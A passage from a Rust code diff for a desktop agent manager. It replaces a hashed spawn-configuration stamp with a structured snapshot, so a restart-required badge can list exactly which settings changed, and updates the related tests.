apply_persona_snapshot_claude_alias_pin_to_openclaw_drops_stale_alias() { + let mut record = sample_record(); + // "claude-code-acp" is an alias of the Claude runtime (id="claude"). + record.agent_command_override = Some("claude-code-acp".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("openclaw".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override, None, + "stale claude-code-acp alias pin must be dropped when persona switches to openclaw" + ); +} + +// ── Stale-pin keep: same harness, path/alias override ─────────────────────── + +/// Same-harness case: record has an explicit path override pointing at the same +/// harness as the new persona runtime. The pin must NOT be dropped — it is a +/// deliberate per-instance configuration (e.g. a specific goose binary path). +#[test] +fn apply_persona_snapshot_same_harness_path_pin_is_kept() { + let mut record = sample_record(); + // Explicit path override for goose — same harness as the persona runtime. + record.agent_command_override = Some("/usr/local/bin/goose".to_string()); + apply_persona_snapshot( + &mut record, + &AgentDefinition { + runtime: Some("goose".to_string()), + ..sample_persona() + }, + ); + assert_eq!( + record.agent_command_override.as_deref(), + Some("/usr/local/bin/goose"), + "same-harness path override must NOT be dropped" + ); +} diff --git a/desktop/src-tauri/src/managed_agents/persona_events/tests.rs b/desktop/src-tauri/src/managed_agents/persona_events/tests.rs index b9542f9a87..0580b12ce2 100644 --- a/desktop/src-tauri/src/managed_agents/persona_events/tests.rs +++ b/desktop/src-tauri/src/managed_agents/persona_events/tests.rs @@ -3,7 +3,7 @@ use crate::managed_agents::{BackendKind, ManagedAgentRecord, RespondTo}; /// A linked instance record with no persona-derived fields set yet — the /// state right after creation, before any snapshot apply. -fn sample_record() -> ManagedAgentRecord { +pub(super) fn sample_record() -> ManagedAgentRecord { ManagedAgentRecord { pubkey: "p".repeat(64), name: "agent".into(), @@ -139,7 +139,7 @@ fn preview_passes_through_unchanged_when_persona_missing() { assert_eq!(preview.persona_id.as_deref(), Some("deleted-persona")); } -fn sample_persona() -> AgentDefinition { +pub(super) fn sample_persona() -> AgentDefinition { AgentDefinition { id: "test-persona".to_string(), display_name: "Test Persona".to_string(), diff --git a/desktop/src-tauri/src/managed_agents/process_lifecycle.rs b/desktop/src-tauri/src/managed_agents/process_lifecycle.rs index 8dddf9f715..479d6ec913 100644 --- a/desktop/src-tauri/src/managed_agents/process_lifecycle.rs +++ b/desktop/src-tauri/src/managed_agents/process_lifecycle.rs @@ -133,7 +133,7 @@ pub fn taskkill_tree(pid: u32) -> Result<(), String> { pub fn finish_spawn( child: std::process::Child, log_path: std::path::PathBuf, - spawn_config_hash: u64, + spawn_config: super::spawn_snapshot::SpawnConfigSnapshot, setup_mode: bool, adapter_availability: Option, start_nonce: String, @@ -149,7 +149,7 @@ pub fn finish_spawn( super::ManagedAgentProcess { child, log_path, - spawn_config_hash, + spawn_config, setup_mode, adapter_availability, start_nonce, diff --git a/desktop/src-tauri/src/managed_agents/readiness.rs b/desktop/src-tauri/src/managed_agents/readiness.rs index fa8eb36fa1..c072448ff1 100644 --- a/desktop/src-tauri/src/managed_agents/readiness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness.rs @@ -82,7 +82,7 @@ pub(crate) struct EffectiveAgentEnv { // // A single owned type that fully describes what a spawn would run. Produced // by `resolve_effective_harness_descriptor` and consumed by spawn_agent_child, -// spawn_config_hash, build_managed_agent_summary, get_agent_models, and +// spawn_snapshot, build_managed_agent_summary, get_agent_models, and // agent_readiness — so the harness-definition lookup and arg/env resolution // happen exactly once, in one place. @@ -1051,19 +1051,16 @@ mod tests { thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: None, auth_probe_args: None, } } - /// Returns the absolute path of the currently-running test binary as a - /// `&'static str`. Host-portable stand-in for a "present" binary: - /// the path is absolute so `find_command` resolves it via `path.exists()` - /// rather than searching `PATH`, and the file always exists on the host. - /// - /// The tiny allocation is intentionally leaked — this runs at most once per - /// test process and the process exits immediately after tests complete. + /// Returns the absolute path of the currently-running test binary as a `&'static str`. + /// Host-portable stand-in for a "present" binary: absolute path so `find_command` resolves + /// it via `path.exists()`. Leaked allocation is intentional — process exits after tests. fn present_binary_str() -> &'static str { let path = std::env::current_exe().expect("current_exe must be available in tests"); Box::leak(path.to_string_lossy().into_owned().into_boxed_str()) @@ -1246,6 +1243,7 @@ mod tests { thinking_env_var: None, max_tokens_env_var: None, context_limit_env_var: None, + max_rounds_env_var: None, required_normalized_fields: &[], login_hint: None, auth_probe_args: None, diff --git a/desktop/src-tauri/src/managed_agents/restore.rs b/desktop/src-tauri/src/managed_agents/restore.rs index 1910620159..25dadbeec6 100644 --- a/desktop/src-tauri/src/managed_agents/restore.rs +++ b/desktop/src-tauri/src/managed_agents/restore.rs @@ -18,7 +18,9 @@ use tauri::Manager; /// restore would kill reconcile's lazy child by its receipt and replace it with /// an eager one, flipping the pair's laziness on a startup race. enum SpawnOutcome { - Spawned(super::ManagedAgentRuntimeKey, ManagedAgentProcess), + /// Boxed: the spawned process carries its full spawn-config snapshot, so an + /// inline variant would make every `Skipped`/`Failed` outcome pay for it. + Spawned(super::ManagedAgentRuntimeKey, Box), Skipped, Failed(String), } @@ -338,7 +340,9 @@ pub async fn restore_managed_agents_on_launch( owner_hex_ref, ) }) { - Ok(process) => SpawnOutcome::Spawned(key, process), + Ok(process) => { + SpawnOutcome::Spawned(key, Box::new(process)) + } Err(error) => SpawnOutcome::Failed(error), } } @@ -400,7 +404,7 @@ pub async fn restore_managed_agents_on_launch( record.last_stopped_at = None; record.last_exit_code = None; record.last_error = None; - runtimes.insert(key, super::ManagedAgentPairRuntime::starting(process)); + runtimes.insert(key, super::ManagedAgentPairRuntime::starting(*process)); successfully_spawned.push(pubkey); } SpawnOutcome::Failed(error) => { diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 37927961ed..4041a4fd94 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -22,8 +22,7 @@ pub(crate) use path::should_use_inherited; mod metadata; pub(crate) use metadata::{ - resolve_effective_prompt_model_provider, resolve_session_title, runtime_metadata_env_vars, - SESSION_TITLE_ENV_VAR, + resolve_session_title, runtime_metadata_env_vars, SESSION_TITLE_ENV_VAR, }; mod stop; @@ -226,49 +225,50 @@ pub fn build_managed_agent_summary( } }; - // Restart badge: the running process stamped its effective spawn config - // at launch; recompute from current disk state and flag drift. Only the - // tracked live pair for THIS workspace can drift — stopped agents spawn - // fresh, adopted (runtime_pid-only) processes have no stamped hash to - // compare, and pairs running for other communities are judged in their - // own community (hashing them against this workspace's relay would flag - // a spurious restart on every community switch). + // Restart badge: the running process stamped the effective spawn config + // it was launched with; recompute a prospective one from current disk + // state and report every differing field. Only the tracked live pair for + // THIS workspace can drift — stopped agents spawn fresh, adopted + // (runtime_pid-only) processes have no stamp to compare, and pairs running + // for other communities are judged in their own community (comparing them + // against this workspace's relay would flag a spurious restart on every + // community switch). // - // Additionally, for runtimes with an adapter version gate (codex only), - // check whether the cached adapter availability has drifted from the value - // stamped at spawn. This catches out-of-band adapter changes (manual - // npm install/downgrade) that Phase-1 auto-restart doesn't cover. The - // cache is read-only here — no subprocess is spawned. + // Adapter-availability drift (codex only) contributes its own synthetic + // entry, so an out-of-band adapter change (manual npm install/downgrade) + // that Phase-1 auto-restart doesn't cover still shows the user what moved. + // The cache is read-only here — no subprocess is spawned. // - // Global config drives both the restart-drift hash and descriptor env - // layering below — the caller loads it once and passes it in, so + // Global config drives both the prospective snapshot and the descriptor + // env layering below — the caller loads it once and passes it in, so // list-style callers pay one disk read per call rather than one per record. - let needs_restart = pair_key - .as_ref() - .and_then(|key| runtimes.get(key).map(|runtime| (key, runtime))) - .is_some_and(|(key, runtime)| { - let teams_for_hash = crate::managed_agents::load_teams(app).unwrap_or_default(); - let hash_drift = runtime.spawn_config_hash - != crate::managed_agents::spawn_hash::spawn_config_hash( - record, - personas, - &teams_for_hash, - &key.relay_url, - global_config, - ); - let availability_drift = super::availability_drift( - runtime.adapter_availability.as_ref(), - super::adapter_availability_cached(), - ); - // An orphan can never be restarted successfully — - // `spawn_agent_child` refuses it before any process side effect — - // so `needs_restart` must never fire for one regardless of hash or - // availability drift. Surfacing "Restart required" here would offer - // an action guaranteed to fail; the UI shows `persona_orphaned` - // instead (see `ManagedAgentSummary::persona_orphaned`). - restart_eligible(persona_orphaned, hash_drift, availability_drift) - }); + // The prospective side is computed only for a tracked pair: it costs a + // teams-store read, and an unstamped agent has nothing to compare against. + let tracked_spawn = pair_key.as_ref().zip(pair_runtime).map(|(key, runtime)| { + let teams = crate::managed_agents::load_teams(app).unwrap_or_default(); + let current = crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot( + record, + personas, + &teams, + &key.relay_url, + global_config, + ); + (runtime, current) + }); + let restart_diff = crate::managed_agents::spawn_snapshot::eligible_restart_diff( + persona_orphaned, + tracked_spawn.as_ref().map(|(runtime, current)| { + crate::managed_agents::spawn_snapshot::TrackedSpawnState { + stamped: &runtime.spawn_config, + current, + stamped_availability: runtime.adapter_availability.as_ref(), + current_availability: super::adapter_availability_cached(), + } + }), + ); + // One vector is the whole truth: badge on ⟺ there is a diff to show. + let needs_restart = !restart_diff.is_empty(); // Resolve the effective harness via the single typed descriptor — same resolver // as spawn, so the UI reflects the persona's current harness (or explicit pin). @@ -321,6 +321,7 @@ pub fn build_managed_agent_summary( persona_out_of_date, persona_orphaned, needs_restart, + restart_diff, env_vars: record.env_vars.clone(), backend: record.backend.clone(), backend_agent_id: record.backend_agent_id.clone(), @@ -341,19 +342,6 @@ pub fn build_managed_agent_summary( }) } -/// Pure predicate: should the "Restart required" badge fire? -/// -/// An orphaned linked instance (its persona/definition no longer exists) -/// can never be restarted successfully — `spawn_agent_child` refuses to -/// spawn it before any process side effect. Surfacing "Restart required" -/// for one would offer an action guaranteed to fail, so this always -/// returns `false` for an orphan regardless of drift. Extracted for unit -/// testing without `AppHandle`/global state, following the -/// `availability_drift` pattern in `discovery.rs`. -fn restart_eligible(persona_orphaned: bool, hash_drift: bool, availability_drift: bool) -> bool { - !persona_orphaned && (hash_drift || availability_drift) -} - pub fn find_managed_agent_mut<'a>( records: &'a mut [ManagedAgentRecord], pubkey: &str, @@ -474,7 +462,7 @@ pub fn spawn_agent_child( let global = crate::managed_agents::load_global_agent_config(app).unwrap_or_default(); // Resolve model/provider/prompt ONCE, here, at the shared spawn boundary — - // the single source both the env writes below and `spawn_config_hash` + // the single source both the env writes below and the spawn-config snapshot // read from. Previously prompt was read from the record's own (possibly // stale, Phase-A-snapshot) bytes while model/provider were resolved live // from `personas`; a definition edit landing between a caller's snapshot @@ -491,8 +479,9 @@ pub fn spawn_agent_child( // Single typed resolver: validates runtime id (dangling harness → Err), resolves // command, args (instance wins over definition default), and the full env layer stack. - // This is the sole path for harness-definition lookup — spawn, hash, summary, and - // model probes all consume this descriptor rather than assembling values inline. + // This is the sole path for harness-definition lookup — spawn, snapshot, + // summary, and model probes all consume this descriptor rather than + // assembling values inline. // Like the orphan refusal above, this runs before any side effect so a refused // spawn leaves no trace. let descriptor = @@ -736,7 +725,7 @@ pub fn spawn_agent_child( } } } - let team_instructions = super::spawn_hash::effective_team_instructions(record, &teams); + let team_instructions = super::spawn_snapshot::effective_team_instructions(record, &teams); if let Some(instructions) = &team_instructions { command.env("BUZZ_ACP_TEAM_INSTRUCTIONS", instructions); } else { @@ -744,8 +733,8 @@ pub fn spawn_agent_child( } // Prompt, model, and provider all come from the single `effective_cfg` - // resolved at the top of this function — the SAME resolve `spawn_config_hash` - // performs below, so env write and restart badge cannot disagree. Linked + // resolved at the top of this function — the SAME resolve the spawn-config + // snapshot reads, so env write and restart badge cannot disagree. Linked // instances never consult the record's own model/provider/prompt bytes; // definition-less instances fall back to their own fields, then global. // @@ -771,8 +760,9 @@ pub fn spawn_agent_child( } // Session title for the harness to pass out-of-band on `session/new`. The // adapter names the session after it; it never reaches the prompt, so this - // is display metadata only. `spawn_config_hash` hashes the same resolve, so - // a rename raises the restart badge instead of leaving the process stale. + // is display metadata only. The spawn-config snapshot records the same + // resolve, so a rename raises the restart badge instead of leaving the + // process stale. if let Some(title) = resolve_session_title(record.display_name.as_deref(), &record.name) { command.env(SESSION_TITLE_ENV_VAR, title); } else { @@ -882,6 +872,22 @@ pub fn spawn_agent_child( .env("BUZZ_MANAGED_AGENT", current_instance_id(app)) .env("BUZZ_MANAGED_AGENT_START_NONCE", &start_nonce); + // Stamp the effective spawn config from the values that populated the + // `Command` above, BEFORE spawning. Re-resolving after `spawn()` would let + // a persona/harness/global edit landing in between stamp the NEW config + // onto a child running the OLD one, silently suppressing the badge. + let spawn_config = super::spawn_snapshot::SpawnConfigSnapshot::from_inputs( + super::spawn_snapshot::SpawnConfigInputs { + record, + descriptor: &descriptor, + relay_url: &effective_relay_url, + team_instructions: team_instructions.as_deref(), + system_prompt: effective_prompt.as_deref(), + model: effective_model.as_deref(), + provider: effective_provider.as_deref(), + }, + ); + // Spawn the harness in its own process group so we can kill the entire // tree (harness + MCP servers + agent subprocesses) on shutdown. #[cfg(unix)] @@ -907,18 +913,6 @@ pub fn spawn_agent_child( ) })?; - // Stamp the effective spawn config so the summary builder can flag - // needs_restart when disk state drifts from what this process runs. - // `effective_relay_url` is already resolved, and resolution is idempotent, - // so it serves as the workspace-relay input here. - let spawn_config_hash = super::spawn_hash::spawn_config_hash( - record, - &personas, - &teams, - &effective_relay_url, - &global, - ); - // Stamp the adapter availability for runtimes with a version gate (codex // only). The summary builder compares this against the current cached value // to detect out-of-band adapter changes after spawn (Phase-2 badge fallback). @@ -941,7 +935,7 @@ pub fn spawn_agent_child( return Ok(super::process_lifecycle::finish_spawn( child, log_path, - spawn_config_hash, + spawn_config, spawned_setup_mode, spawned_adapter_availability, start_nonce, @@ -951,7 +945,7 @@ pub fn spawn_agent_child( Ok(crate::managed_agents::ManagedAgentProcess { child, log_path, - spawn_config_hash, + spawn_config, setup_mode: spawned_setup_mode, adapter_availability: spawned_adapter_availability, start_nonce, diff --git a/desktop/src-tauri/src/managed_agents/runtime/metadata.rs b/desktop/src-tauri/src/managed_agents/runtime/metadata.rs index 288ce06b0a..26d210e5c6 100644 --- a/desktop/src-tauri/src/managed_agents/runtime/metadata.rs +++ b/desktop/src-tauri/src/managed_agents/runtime/metadata.rs @@ -25,7 +25,7 @@ pub(crate) fn runtime_metadata_env_vars<'a>( } /// Env var carrying the session title to the harness. Shared with -/// `spawn_hash` so the restart badge hashes the same key the spawn writes. +/// `spawn_snapshot` so the restart badge records the same key the spawn writes. pub(crate) const SESSION_TITLE_ENV_VAR: &str = "BUZZ_ACP_SESSION_TITLE"; /// Resolve the session title for an agent: its `display_name` when it has one, @@ -57,32 +57,6 @@ pub(crate) fn resolve_session_title(display_name: Option<&str>, name: &str) -> O .find(|value| !value.is_empty()) } -/// Resolve effective prompt/model/provider using definition-authoritative -/// semantics for linked instances. -/// -/// Used by `agent_config.rs` to inject persona defaults into the config surface -/// before running the reader. -pub(crate) fn resolve_effective_prompt_model_provider( - persona_id: Option<&str>, - personas: &[crate::managed_agents::types::AgentDefinition], - record_prompt: Option, - record_model: Option, - record_provider: Option, -) -> (Option, Option, Option) { - match persona_id.and_then(|pid| personas.iter().find(|p| p.id == pid)) { - Some(p) => { - fn non_blank(v: Option<&str>) -> Option { - v.filter(|s| !s.trim().is_empty()).map(str::to_owned) - } - let prompt = non_blank(Some(&p.system_prompt)); - let model = non_blank(p.model.as_deref()); - let provider = non_blank(p.provider.as_deref()); - (prompt, model, provider) - } - None => (record_prompt, record_model, record_provider), - } -} - #[cfg(test)] mod tests { use super::resolve_session_title; diff --git a/desktop/src-tauri/src/managed_agents/runtime/tests.rs b/desktop/src-tauri/src/managed_agents/runtime/tests.rs index 3f6ee996f6..bea4b1c3e3 100644 --- a/desktop/src-tauri/src/managed_agents/runtime/tests.rs +++ b/desktop/src-tauri/src/managed_agents/runtime/tests.rs @@ -1271,7 +1271,13 @@ fn make_pair_runtime_placeholder() -> crate::managed_agents::ManagedAgentPairRun let process = crate::managed_agents::ManagedAgentProcess { child, log_path: std::path::PathBuf::new(), - spawn_config_hash: 0, + spawn_config: crate::managed_agents::spawn_snapshot::prospective_spawn_config_snapshot( + &minimal_record(&"cc".repeat(32)), + &[], + &[], + "wss://relay.example", + &Default::default(), + ), setup_mode: false, adapter_availability: None, start_nonce: "test-nonce".to_string(), @@ -1280,37 +1286,3 @@ fn make_pair_runtime_placeholder() -> crate::managed_agents::ManagedAgentPairRun }; crate::managed_agents::ManagedAgentPairRuntime::starting(process) } - -// ── restart_eligible tests ────────────────────────────────────────────── - -#[test] -fn restart_eligible_true_when_non_orphan_has_hash_drift() { - assert!(super::restart_eligible(false, true, false)); -} - -#[test] -fn restart_eligible_true_when_non_orphan_has_availability_drift() { - assert!(super::restart_eligible(false, false, true)); -} - -#[test] -fn restart_eligible_false_when_orphan_has_hash_drift() { - // An orphan can never be restarted successfully — spawn refuses it — - // so hash drift alone must not surface "Restart required". - assert!(!super::restart_eligible(true, true, false)); -} - -#[test] -fn restart_eligible_false_when_orphan_has_availability_drift() { - assert!(!super::restart_eligible(true, false, true)); -} - -#[test] -fn restart_eligible_false_when_orphan_has_no_drift() { - assert!(!super::restart_eligible(true, false, false)); -} - -#[test] -fn restart_eligible_false_when_non_orphan_has_no_drift() { - assert!(!super::restart_eligible(false, false, false)); -} diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash.rs b/desktop/src-tauri/src/managed_agents/spawn_hash.rs deleted file mode 100644 index 648cc62bbe..0000000000 --- a/desktop/src-tauri/src/managed_agents/spawn_hash.rs +++ /dev/null @@ -1,160 +0,0 @@ -//! Spawn-time config hash for the restart-required badge. -//! -//! [`spawn_config_hash`] digests the *effective spawned values* — what a -//! process launch of `record` would actually receive — so the UI can compare -//! a running process's hash (stamped on [`super::ManagedAgentProcess`] at -//! spawn) against a recomputation from current disk state and show a -//! "restart required" badge only when a restart would change what runs. -//! -//! Scope rules (decided in #centralize-personas-and-agents, revised in PR -//! #1602 review): -//! - Inputs mirror what a start would actually run: the start/restore paths -//! re-snapshot the linked persona's prompt/model/provider/env onto the -//! record immediately before spawning (`start_local_agent_with_preflight`, -//! `restore_managed_agents_on_launch`), so persona edits to those fields DO -//! apply on a plain restart and are hashed via the same prospective -//! re-snapshot. Harness command, args/mcp, env layering, and the record -//! fields the spawn env writes read are hashed as spawn resolves them. -//! - The relay URL is hashed in resolved form (`effective_agent_relay_url`): -//! every record spawns against the active workspace relay (legacy per-record -//! pins are ignored), so a workspace relay change means a restart would -//! change what runs. -//! - Channel membership is not an input: agents pick up channel changes live -//! (#1468), never via restart. -//! -//! The hash never crosses a process or persistence boundary, so -//! `DefaultHasher` (not stable across Rust releases) is sufficient. - -use std::hash::{DefaultHasher, Hash, Hasher}; - -use super::{ - effective_config::{resolve_effective_config, EffectiveConfigResult}, - known_acp_runtime, normalize_agent_args, - persona_events::preview_prospective_persona_snapshot, - runtime::{resolve_session_title, SESSION_TITLE_ENV_VAR}, - types::{AgentDefinition, ManagedAgentRecord, TeamRecord}, - GlobalAgentConfig, -}; - -/// Resolve the current instructions for this instance's deployment-time team binding. -/// A deleted team deliberately degrades to no team section. -pub(crate) fn effective_team_instructions( - record: &ManagedAgentRecord, - teams: &[TeamRecord], -) -> Option { - teams - .iter() - .find(|team| Some(team.id.as_str()) == record.team_id.as_deref()) - .and_then(|team| team.instructions.as_deref()) - .map(str::trim) - .filter(|instructions| !instructions.is_empty()) - .map(str::to_string) -} - -/// Digest the effective spawn configuration of `record` under the current -/// `personas`, resolving a blank record relay against `workspace_relay`. -/// Pure — no `AppHandle`, no disk, no keyring. -pub(crate) fn spawn_config_hash( - record: &ManagedAgentRecord, - personas: &[AgentDefinition], - teams: &[TeamRecord], - workspace_relay: &str, - global: &GlobalAgentConfig, -) -> u64 { - // Prospective re-snapshot: apply the same `apply_persona_snapshot` the - // start/restore paths run right before spawning, so the hash covers what a - // restart would actually run. Idempotent, so the spawn-time stamp - // (post-snapshot record) and later recomputes (persisted record) agree - // when nothing changed. The persona env itself reaches the hash through - // the descriptor's layered env below; `persona_source_version` is set on - // the clone but is not a hash input. - let record = preview_prospective_persona_snapshot(record, personas); - let record = &record; - - // Resolve command, args, and env via the single typed descriptor — same path - // as spawn_agent_child. Dangling harness id falls back to the infallible - // record_agent_command (no-op: a dangling harness can't be spawned, so the - // hash never matters for that agent). - let descriptor = - crate::managed_agents::resolve_effective_harness_descriptor(record, personas, global) - .unwrap_or_else(|_| { - let cmd = crate::managed_agents::record_agent_command(record, personas); - let args = normalize_agent_args(&cmd, record.agent_args.clone()); - crate::managed_agents::readiness::EffectiveHarnessDescriptor { - command: cmd, - args, - env: Default::default(), - } - }); - let runtime_meta = known_acp_runtime(&descriptor.command); - - let mut hasher = DefaultHasher::new(); - - // Harness identity and derivations (live-persona-resolved, like spawn). - record.acp_command.hash(&mut hasher); - descriptor.command.hash(&mut hasher); - descriptor.args.hash(&mut hasher); - runtime_meta - .and_then(|r| r.mcp_command) - .unwrap_or("") - .hash(&mut hasher); - - // Effective env layering (baked floor → runtime metadata → definition env - // → global → persona → agent). BTreeMap iteration is ordered, deterministic. - descriptor.env.hash(&mut hasher); - - // Record fields the spawn env writes read directly. The relay is hashed - // resolved: every record spawns on the workspace relay (legacy pins - // ignored), so a workspace relay change must trip the badge. - crate::relay::effective_agent_relay_url(&record.relay_url, workspace_relay).hash(&mut hasher); - // Team instructions use the same resolver as spawn. - effective_team_instructions(record, teams).hash(&mut hasher); - // Prompt, model, and provider all come from ONE `resolve_effective_config` - // call — the SAME resolve `spawn_agent_child` performs for the env write, - // so env write and this badge cannot disagree. An orphaned link (missing - // definition) hashes as if all three were absent: `spawn_agent_child` - // refuses to spawn an orphan regardless, so this is a display-only - // convenience, not the spawn gate. - let (resolved_prompt, resolved_model, resolved_provider) = - match resolve_effective_config(record, personas, global) { - EffectiveConfigResult::Resolved(cfg) => { - (cfg.system_prompt.value, cfg.model.value, cfg.provider.value) - } - EffectiveConfigResult::OrphanedInstance { .. } => (None, None, None), - }; - resolved_prompt.hash(&mut hasher); - resolved_model.hash(&mut hasher); - resolved_provider.hash(&mut hasher); - // Session title: the same resolve `spawn_agent_child` performs for its env - // write, so a rename raises the restart badge. Skipped when a user env - // override shadows it — spawn writes the title BEFORE the user env layer, - // so the override is what actually runs, and it already reaches this hash - // through `descriptor.env` above. Hashing the record-derived value under an - // override would badge a rename that changes nothing. - let effective_session_title = (!descriptor.env.contains_key(SESSION_TITLE_ENV_VAR)) - .then(|| resolve_session_title(record.display_name.as_deref(), &record.name)) - .flatten(); - effective_session_title.hash(&mut hasher); - record.auth_tag.hash(&mut hasher); - record.respond_to.as_str().hash(&mut hasher); - // The allowlist is hashed as the env receives it: spawn sets - // BUZZ_ACP_RESPOND_TO_ALLOWLIST only in allowlist mode, and normalized - // (trim/lowercase/dedup via `validate_respond_to_allowlist`) — so edits - // that don't survive normalization, or edits while another mode is - // active, must not badge. A list spawn would reject hashes raw: the - // stamped hash comes from a successful spawn, so any invalid edit - // correctly compares unequal. - if record.respond_to == super::types::RespondTo::Allowlist { - super::types::validate_respond_to_allowlist(&record.respond_to_allowlist) - .unwrap_or_else(|_| record.respond_to_allowlist.clone()) - .hash(&mut hasher); - } - record.idle_timeout_seconds.hash(&mut hasher); - record.max_turn_duration_seconds.hash(&mut hasher); - record.parallelism.hash(&mut hasher); - - hasher.finish() -} - -#[cfg(test)] -mod tests; diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs new file mode 100644 index 0000000000..73a006e70f --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot.rs @@ -0,0 +1,263 @@ +//! Spawn-time config snapshot for the restart-required badge. +//! +//! [`SpawnConfigSnapshot`] captures the *effective spawned values* — what a +//! process launch of a record would actually receive. The running process +//! stamps one on [`super::ManagedAgentProcess`] at spawn; the summary builder +//! recomputes a prospective one from current disk state and compares. Drift +//! means a restart would change what runs, and the field-by-field difference +//! is what the UI shows (see [`diff`]). +//! +//! Scope rules (decided in #centralize-personas-and-agents, revised in PR +//! #1602 review): +//! - Inputs mirror what a start would actually run: the start/restore paths +//! re-snapshot the linked persona's prompt/model/provider/env onto the +//! record immediately before spawning (`start_local_agent_with_preflight`, +//! `restore_managed_agents_on_launch`), so persona edits to those fields DO +//! apply on a plain restart and reach the prospective snapshot via the same +//! re-snapshot. Harness command, args/mcp, env layering, and the record +//! fields the spawn env writes read are captured as spawn resolves them. +//! - The relay URL is captured in resolved form (`effective_agent_relay_url`): +//! every record spawns against the active workspace relay (legacy per-record +//! pins are ignored), so a workspace relay change means a restart would +//! change what runs. +//! - Channel membership is not an input: agents pick up channel changes live +//! (#1468), never via restart. +//! +//! The snapshot never crosses a process or persistence boundary — it is +//! runtime state only, held on the running `ManagedAgentProcess`. + +use std::collections::BTreeMap; + +use serde::Serialize; + +use super::{ + effective_config::{resolve_effective_config, EffectiveConfigResult}, + known_acp_runtime, normalize_agent_args, + persona_events::preview_prospective_persona_snapshot, + readiness::EffectiveHarnessDescriptor, + runtime::{resolve_session_title, SESSION_TITLE_ENV_VAR}, + types::{AgentDefinition, ManagedAgentRecord, TeamRecord}, + GlobalAgentConfig, +}; + +pub(crate) mod diff; +pub(crate) use diff::{eligible_restart_diff, RestartDiffEntry, TrackedSpawnState}; + +/// Resolve the current instructions for this instance's deployment-time team binding. +/// A deleted team deliberately degrades to no team section. +pub(crate) fn effective_team_instructions( + record: &ManagedAgentRecord, + teams: &[TeamRecord], +) -> Option { + teams + .iter() + .find(|team| Some(team.id.as_str()) == record.team_id.as_deref()) + .and_then(|team| team.instructions.as_deref()) + .map(str::trim) + .filter(|instructions| !instructions.is_empty()) + .map(str::to_string) +} + +/// The already-resolved values a spawn feeds into its `Command`. +/// +/// Taking them rather than re-resolving is what makes the stamp describe the +/// process that was actually launched: a persona/harness/global edit landing +/// between spawn's resolution and the stamp can no longer suppress the badge. +pub(crate) struct SpawnConfigInputs<'a> { + pub record: &'a ManagedAgentRecord, + pub descriptor: &'a EffectiveHarnessDescriptor, + /// Resolved workspace/pair relay — never the record's legacy pin. + pub relay_url: &'a str, + pub team_instructions: Option<&'a str>, + pub system_prompt: Option<&'a str>, + pub model: Option<&'a str>, + pub provider: Option<&'a str>, +} + +/// The effective spawn configuration of one managed-agent process. +/// +/// Serialization invariants (load-bearing — the drift comparison and the diff +/// walk both read `canonical()`): +/// - plain derived `Serialize`: no `flatten`, no `skip_serializing_if`, no +/// custom or fallible field serializers, no colliding serialized names, so +/// every field is always present on both sides of a comparison; +/// - `Option::None` serializes as JSON `null`; a *missing* key is reserved for +/// dynamic-map membership (`env.` added/removed); +/// - arrays are atomic leaves — `args` and `respond_to_allowlist` compare and +/// render whole, never element-wise. +/// +/// `Debug` is implemented by hand: [`ManagedAgentProcess`] derives `Debug`, so +/// a derived impl here would print env values, auth tags, and CLI arguments. +/// +/// [`ManagedAgentProcess`]: super::ManagedAgentProcess +#[derive(Clone, Serialize)] +pub(crate) struct SpawnConfigSnapshot { + /// The ACP harness binary the desktop launches (`buzz-acp`). + pub acp_command: String, + /// The effective agent command the harness drives. + pub command: String, + pub args: Vec, + /// Catalog-derived from `command`; `""` when the runtime has none. + pub mcp_command: String, + /// Fully layered process env: baked floor -> runtime metadata -> + /// definition -> global -> persona -> agent. + pub env: BTreeMap, + pub relay_url: String, + pub team_instructions: Option, + pub system_prompt: Option, + pub model: Option, + pub provider: Option, + /// `None` when a user env override shadows `BUZZ_ACP_SESSION_TITLE`: spawn + /// writes the title BEFORE the user env layer, so the override is what + /// actually runs and it already reaches this snapshot through `env`. + /// Capturing the record-derived value under an override would badge a + /// rename that changes nothing. + pub session_title: Option, + pub auth_tag: Option, + pub respond_to: String, + /// `None` outside allowlist mode — spawn sets + /// `BUZZ_ACP_RESPOND_TO_ALLOWLIST` only there, so edits to a dormant list + /// must not badge. Normalized (trim/lowercase/dedup) as the env receives + /// it, so edits that don't survive normalization must not badge either. + pub respond_to_allowlist: Option>, + pub idle_timeout_seconds: Option, + pub max_turn_duration_seconds: Option, + pub parallelism: u32, +} + +impl SpawnConfigSnapshot { + /// Assemble the snapshot from values a spawn has already resolved. + pub(crate) fn from_inputs(inputs: SpawnConfigInputs<'_>) -> Self { + let SpawnConfigInputs { + record, + descriptor, + relay_url, + team_instructions, + system_prompt, + model, + provider, + } = inputs; + Self { + acp_command: record.acp_command.clone(), + command: descriptor.command.clone(), + args: descriptor.args.clone(), + mcp_command: known_acp_runtime(&descriptor.command) + .and_then(|runtime| runtime.mcp_command) + .unwrap_or("") + .to_string(), + env: descriptor.env.clone(), + relay_url: relay_url.to_string(), + team_instructions: team_instructions.map(str::to_string), + system_prompt: system_prompt.map(str::to_string), + model: model.map(str::to_string), + provider: provider.map(str::to_string), + session_title: (!descriptor.env.contains_key(SESSION_TITLE_ENV_VAR)) + .then(|| resolve_session_title(record.display_name.as_deref(), &record.name)) + .flatten(), + auth_tag: record.auth_tag.clone(), + respond_to: record.respond_to.as_str().to_string(), + respond_to_allowlist: (record.respond_to == super::types::RespondTo::Allowlist).then( + || { + // A list spawn would reject is captured raw: the stamped + // snapshot comes from a successful spawn, so any invalid + // edit correctly compares unequal. + super::types::validate_respond_to_allowlist(&record.respond_to_allowlist) + .unwrap_or_else(|_| record.respond_to_allowlist.clone()) + }, + ), + idle_timeout_seconds: record.idle_timeout_seconds, + max_turn_duration_seconds: record.max_turn_duration_seconds, + parallelism: record.parallelism, + } + } + + /// Canonical JSON projection — the single representation both the drift + 